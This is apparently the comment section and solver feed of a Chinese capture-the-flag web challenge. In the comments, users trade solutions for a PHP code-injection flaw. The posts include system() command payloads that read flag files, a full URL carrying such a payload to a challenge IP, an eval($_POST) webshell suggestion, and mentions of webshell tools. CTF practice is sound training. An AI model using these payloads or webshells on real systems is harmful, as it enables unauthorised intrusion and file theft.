评分(11)
解题动态
南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 14小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 1天前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
评论
shan 5年前
举报
用system(dir)来过这个题目，是作者本来的思路吗。看评论好像大家用的方法还挺多种的。
yinyue 5年前
举报
不多说了，套娃了解下
eleven 5年前
举报
?s=system("cat *.txt")
naihe567 5年前
举报
没法用POST的webshell，可以自己创建一个命令执行eval($_POST[‘xxx’]) 密码xxx
mantou 5年前
举报
http://114.67.246.176:18711/?s=system(%22cat%20xxxxxxxx.txt%22)
Y1rannn 5年前
举报
...没那么复杂啊，我直接s=system("")
pest 5年前
举报
除了菜刀，还可以利用print_r(glob("*.*")) scandir() //作用能扫描文件夹下的目录和文件，返回值为所有文件名组成的一个数组 show_source() //显示文件源码 highlight_file() //和show_source()函数是一个意思 我直接复制的一个大佬的wp过来的。
simpleboy 5年前
举报
解法还是很多的
simpleboy 5年前
举报
命令执行了
三分踯躅 5年前
举报
哇，真的有那么复杂吗，蚁剑都整上了，难道是我用assert命令执行的姿势太low了吗